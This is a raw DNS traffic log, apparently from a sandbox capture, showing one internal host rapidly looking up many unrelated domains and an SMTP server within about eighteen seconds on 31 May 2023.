May 31, 2023 14:51:32.245779991 CEST	192.168.2.3	8.8.8.8	0x2cbb	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.262274027 CEST	192.168.2.3	8.8.8.8	0x6fe0	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.309149981 CEST	192.168.2.3	8.8.8.8	0x5ed8	Standard query (0)	kallman.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.362539053 CEST	192.168.2.3	8.8.8.8	0x4cd	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.364007950 CEST	192.168.2.3	8.8.8.8	0xcac1	Standard query (0)	keio-web.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.409885883 CEST	192.168.2.3	8.8.8.8	0x4177	Standard query (0)	adeesa.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.458686113 CEST	192.168.2.3	8.8.8.8	0xf5e0	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.482253075 CEST	192.168.2.3	8.8.8.8	0x9497	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.486900091 CEST	192.168.2.3	8.8.8.8	0xff58	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.601042032 CEST	192.168.2.3	8.8.8.8	0xf141	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.603147030 CEST	192.168.2.3	8.8.8.8	0x657d	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.618840933 CEST	192.168.2.3	8.8.8.8	0xbdeb	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.619816065 CEST	192.168.2.3	8.8.8.8	0x6b99	Standard query (0)	peminet.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.654861927 CEST	192.168.2.3	8.8.8.8	0x3cc5	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.660171986 CEST	192.168.2.3	8.8.8.8	0xceba	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.679419994 CEST	192.168.2.3	8.8.8.8	0x8b45	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.681708097 CEST	192.168.2.3	8.8.8.8	0xf7b2	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.738862038 CEST	192.168.2.3	8.8.8.8	0xf7d7	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.776515007 CEST	192.168.2.3	8.8.8.8	0xeedd	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.780364990 CEST	192.168.2.3	8.8.8.8	0x9630	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.800115108 CEST	192.168.2.3	8.8.8.8	0xa88a	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.806649923 CEST	192.168.2.3	8.8.8.8	0x99fc	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.831309080 CEST	192.168.2.3	8.8.8.8	0x16cd	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.902179003 CEST	192.168.2.3	8.8.8.8	0xaa7e	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.919889927 CEST	192.168.2.3	8.8.8.8	0xda02	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.923059940 CEST	192.168.2.3	8.8.8.8	0xc1c6	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.934946060 CEST	192.168.2.3	8.8.8.8	0x1dd3	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.936156034 CEST	192.168.2.3	8.8.8.8	0x1a4b	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.051486969 CEST	192.168.2.3	8.8.8.8	0x4c7f	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.102035046 CEST	192.168.2.3	8.8.8.8	0xd67	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.108206987 CEST	192.168.2.3	8.8.8.8	0xe421	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.149257898 CEST	192.168.2.3	8.8.8.8	0xf2c3	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.164141893 CEST	192.168.2.3	8.8.8.8	0x3c59	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.242181063 CEST	192.168.2.3	8.8.8.8	0xc96e	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.248156071 CEST	192.168.2.3	8.8.8.8	0x1559	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.263648987 CEST	192.168.2.3	8.8.8.8	0x70ad	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.367326975 CEST	192.168.2.3	8.8.8.8	0x28b5	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.400279045 CEST	192.168.2.3	8.8.8.8	0x35f6	Standard query (0)	usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.582743883 CEST	192.168.2.3	8.8.8.8	0xf1cd	Standard query (0)	mondopp.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.741221905 CEST	192.168.2.3	8.8.8.8	0x4d26	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.818466902 CEST	192.168.2.3	8.8.8.8	0x3c25	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.929508924 CEST	192.168.2.3	8.8.8.8	0x8ae0	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.937041044 CEST	192.168.2.3	8.8.8.8	0xca1c	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.008554935 CEST	192.168.2.3	8.8.8.8	0x15b4	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.038069010 CEST	192.168.2.3	8.8.8.8	0x2e3f	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.075496912 CEST	192.168.2.3	8.8.8.8	0xf120	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.206155062 CEST	192.168.2.3	8.8.8.8	0xee81	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.208642006 CEST	192.168.2.3	8.8.8.8	0x70e4	Standard query (0)	gphpedit.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.212753057 CEST	192.168.2.3	8.8.8.8	0x306d	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.304124117 CEST	192.168.2.3	8.8.8.8	0x8d95	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.388936996 CEST	192.168.2.3	8.8.8.8	0x86ca	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.425808907 CEST	192.168.2.3	8.8.8.8	0x5084	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.581617117 CEST	192.168.2.3	8.8.8.8	0x5bbd	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.609287024 CEST	192.168.2.3	8.8.8.8	0xcefa	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.623456955 CEST	192.168.2.3	8.8.8.8	0xa087	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.664761066 CEST	192.168.2.3	8.8.8.8	0xf86c	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.880527973 CEST	192.168.2.3	8.8.8.8	0x4e32	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.964772940 CEST	192.168.2.3	128.8.10.90	0x19	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:35.103862047 CEST	192.168.2.3	8.8.8.8	0x81e4	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.119699001 CEST	192.168.2.3	8.8.8.8	0x48da	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.281909943 CEST	192.168.2.3	8.8.8.8	0xbe79	Standard query (0)	amic.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.289186001 CEST	192.168.2.3	8.8.8.8	0xf497	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.435511112 CEST	192.168.2.3	8.8.8.8	0x52b5	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.448925018 CEST	192.168.2.3	8.8.8.8	0xe8a4	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.518923044 CEST	192.168.2.3	8.8.8.8	0x4ec6	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.555329084 CEST	192.168.2.3	8.8.8.8	0x1e8e	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.699933052 CEST	192.168.2.3	8.8.8.8	0x3b36	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:36.093583107 CEST	192.168.2.3	8.8.8.8	0xce4c	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:36.187176943 CEST	192.168.2.3	8.8.8.8	0xe190	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.005516052 CEST	192.168.2.3	8.8.8.8	0x3e73	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.157424927 CEST	192.168.2.3	8.8.8.8	0xb00e	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.162081003 CEST	192.168.2.3	8.8.8.8	0xeeaa	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.215691090 CEST	192.168.2.3	8.8.8.8	0xc4e0	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.218565941 CEST	192.168.2.3	8.8.8.8	0x22fb	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.196130991 CEST	192.168.2.3	8.8.8.8	0x62b3	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.211955070 CEST	192.168.2.3	8.8.8.8	0xf0a	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.477404118 CEST	192.168.2.3	8.8.8.8	0x7772	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.508939028 CEST	192.168.2.3	8.8.8.8	0xb2c1	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.519963026 CEST	192.168.2.3	8.8.8.8	0x7fa	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.521028996 CEST	192.168.2.3	8.8.8.8	0x9ec7	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.523405075 CEST	192.168.2.3	8.8.8.8	0x94c8	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.529952049 CEST	192.168.2.3	8.8.8.8	0xd22b	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.688072920 CEST	192.168.2.3	8.8.8.8	0xf58f	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.714632988 CEST	192.168.2.3	8.8.8.8	0xe681	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.242980003 CEST	192.168.2.3	8.8.8.8	0x2165	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.242980003 CEST	192.168.2.3	8.8.8.8	0x45d0	Standard query (0)	webways.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.395876884 CEST	192.168.2.3	8.8.8.8	0xb0c1	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.419898987 CEST	192.168.2.3	8.8.8.8	0x743e	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.420608044 CEST	192.168.2.3	8.8.8.8	0xb6e5	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.619112015 CEST	192.168.2.3	8.8.8.8	0x6d02	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.630976915 CEST	192.168.2.3	8.8.8.8	0x56d6	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.740885973 CEST	192.168.2.3	8.8.8.8	0xb6aa	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.007679939 CEST	192.168.2.3	8.8.8.8	0x6e13	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.251724005 CEST	192.168.2.3	128.8.10.90	0x19	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:40.534352064 CEST	192.168.2.3	8.8.8.8	0xc734	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.931654930 CEST	192.168.2.3	8.8.8.8	0x68d	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:41.178397894 CEST	192.168.2.3	8.8.8.8	0x5466	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:41.422652006 CEST	192.168.2.3	8.8.8.8	0xc7ab	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:41.665160894 CEST	192.168.2.3	8.8.8.8	0x98ab	Standard query (0)	sanfotek.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:41.924806118 CEST	192.168.2.3	8.8.8.8	0xdb88	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:42.448013067 CEST	192.168.2.3	8.8.8.8	0x55a7	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:42.666596889 CEST	192.168.2.3	8.8.8.8	0xb11a	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:42.776333094 CEST	192.168.2.3	8.8.8.8	0xf8c6	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:42.999756098 CEST	192.168.2.3	8.8.8.8	0x77aa	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.494992018 CEST	192.168.2.3	8.8.8.8	0xb045	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.687164068 CEST	192.168.2.3	8.8.8.8	0xef4c	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:43.912873983 CEST	192.168.2.3	8.8.8.8	0xb945	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.063544035 CEST	192.168.2.3	8.8.8.8	0xd1c8	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.093797922 CEST	192.168.2.3	8.8.8.8	0x14cc	Standard query (0)	dataform.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.136055946 CEST	192.168.2.3	8.8.8.8	0xabf9	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.179235935 CEST	192.168.2.3	8.8.8.8	0xa63b	Standard query (0)	leapc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.216113091 CEST	192.168.2.3	8.8.8.8	0x9ae8	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.330231905 CEST	192.168.2.3	8.8.8.8	0x98e0	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.388654947 CEST	192.168.2.3	8.8.8.8	0x42c	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.394890070 CEST	192.168.2.3	8.8.8.8	0x52b7	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.421356916 CEST	192.168.2.3	8.8.8.8	0x6b54	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.476443052 CEST	192.168.2.3	8.8.8.8	0xc267	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.533653021 CEST	192.168.2.3	8.8.8.8	0x2b69	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.712276936 CEST	192.168.2.3	8.8.8.8	0x3d9e	Standard query (0)	nels.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:44.858510971 CEST	192.168.2.3	8.8.8.8	0x6144	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:45.120237112 CEST	192.168.2.3	8.8.8.8	0xb936	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:45.283608913 CEST	192.168.2.3	8.8.8.8	0x1bf2	Standard query (0)	smtp.compuserve.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:45.363857031 CEST	192.168.2.3	8.8.8.8	0x9049	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:45.527198076 CEST	192.168.2.3	192.58.128.30	0x4f	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:45.566541910 CEST	192.168.2.3	192.228.79.201	0x76	Standard query (0)	org	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:45.593396902 CEST	192.168.2.3	193.0.14.129	0xd3	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
May 31, 2023 14:51:45.913482904 CEST	192.168.2.3	8.8.8.8	0xbd1b	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.066788912 CEST	192.168.2.3	8.8.8.8	0x15bb	Standard query (0)	smtp.compuserve.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.105360985 CEST	192.168.2.3	8.8.8.8	0x703a	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.106120110 CEST	192.168.2.3	8.8.8.8	0x2815	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.134182930 CEST	192.168.2.3	8.8.8.8	0xca56	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.135106087 CEST	192.168.2.3	8.8.8.8	0x22ee	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.140408993 CEST	192.168.2.3	8.8.8.8	0xf90e	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.140993118 CEST	192.168.2.3	8.8.8.8	0x232	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.300218105 CEST	192.168.2.3	8.8.8.8	0xdc48	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.307327986 CEST	192.168.2.3	8.8.8.8	0xb907	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.383030891 CEST	192.168.2.3	8.8.8.8	0xa8d	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.388793945 CEST	192.168.2.3	8.8.8.8	0x6f2f	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.389332056 CEST	192.168.2.3	8.8.8.8	0x2e80	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.683559895 CEST	192.168.2.3	8.8.8.8	0x61d	Standard query (0)	shenhgts.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.790118933 CEST	192.168.2.3	8.8.8.8	0x9277	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.886738062 CEST	192.168.2.3	8.8.8.8	0x70f1	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:46.927839994 CEST	192.168.2.3	8.8.8.8	0x1003	Standard query (0)	peminet.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.069068909 CEST	192.168.2.3	8.8.8.8	0x510b	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.535474062 CEST	192.168.2.3	8.8.8.8	0x8ddf	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.683160067 CEST	192.168.2.3	8.8.8.8	0x6a3c	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.772138119 CEST	192.168.2.3	8.8.8.8	0xbf95	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.776313066 CEST	192.168.2.3	8.8.8.8	0x4a0d	Standard query (0)	gphpedit.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.801295996 CEST	192.168.2.3	8.8.8.8	0xf600	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.802225113 CEST	192.168.2.3	8.8.8.8	0xba3	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.802665949 CEST	192.168.2.3	8.8.8.8	0x3a44	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.802665949 CEST	192.168.2.3	8.8.8.8	0xd5b9	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.804318905 CEST	192.168.2.3	8.8.8.8	0x711	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.835459948 CEST	192.168.2.3	8.8.8.8	0xce17	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.883676052 CEST	192.168.2.3	8.8.8.8	0x6def	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.886630058 CEST	192.168.2.3	8.8.8.8	0xb8aa	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.908600092 CEST	192.168.2.3	8.8.8.8	0x5462	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.908649921 CEST	192.168.2.3	8.8.8.8	0xe952	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:47.909826040 CEST	192.168.2.3	8.8.8.8	0x8817	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.085860968 CEST	192.168.2.3	8.8.8.8	0x510b	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.168932915 CEST	192.168.2.3	8.8.8.8	0xace0	Standard query (0)	at-shun.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.183577061 CEST	192.168.2.3	8.8.8.8	0xa62e	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.216425896 CEST	192.168.2.3	8.8.8.8	0x956b	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.287854910 CEST	192.168.2.3	8.8.8.8	0x9acc	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.296652079 CEST	192.168.2.3	8.8.8.8	0xdc58	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.298950911 CEST	192.168.2.3	8.8.8.8	0xd6e1	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.298950911 CEST	192.168.2.3	8.8.8.8	0xf552	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.324048042 CEST	192.168.2.3	8.8.8.8	0xcb03	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.369900942 CEST	192.168.2.3	8.8.8.8	0x3c78	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.396401882 CEST	192.168.2.3	8.8.8.8	0x7a36	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.398691893 CEST	192.168.2.3	8.8.8.8	0x420a	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.398691893 CEST	192.168.2.3	8.8.8.8	0xd5ea	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.414499998 CEST	192.168.2.3	8.8.8.8	0x56c5	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.414911985 CEST	192.168.2.3	8.8.8.8	0x8b16	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.970124006 CEST	192.168.2.3	8.8.8.8	0xb907	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.970124006 CEST	192.168.2.3	8.8.8.8	0x564f	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:48.983710051 CEST	192.168.2.3	8.8.8.8	0x316d	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.006709099 CEST	192.168.2.3	8.8.8.8	0xe7fa	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.084336042 CEST	192.168.2.3	8.8.8.8	0xa525	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.142008066 CEST	192.168.2.3	8.8.8.8	0x510b	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.148827076 CEST	192.168.2.3	8.8.8.8	0xa2f8	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.171010017 CEST	192.168.2.3	8.8.8.8	0xc32f	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.417294025 CEST	192.168.2.3	8.8.8.8	0xdfce	Standard query (0)	nlcv.bas.bg	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.479034901 CEST	192.168.2.3	8.8.8.8	0x9cf6	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.568048000 CEST	192.168.2.3	8.8.8.8	0x4c	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.634089947 CEST	192.168.2.3	8.8.8.8	0xfc22	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.781385899 CEST	192.168.2.3	8.8.8.8	0xcb2d	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.883680105 CEST	192.168.2.3	8.8.8.8	0x1dd6	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.984503031 CEST	192.168.2.3	8.8.8.8	0x59b2	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.984503031 CEST	192.168.2.3	8.8.8.8	0x286d	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.987803936 CEST	192.168.2.3	8.8.8.8	0x2088	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.988641977 CEST	192.168.2.3	8.8.8.8	0xd2df	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.990413904 CEST	192.168.2.3	8.8.8.8	0xb012	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:49.998634100 CEST	192.168.2.3	8.8.8.8	0xe79d	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
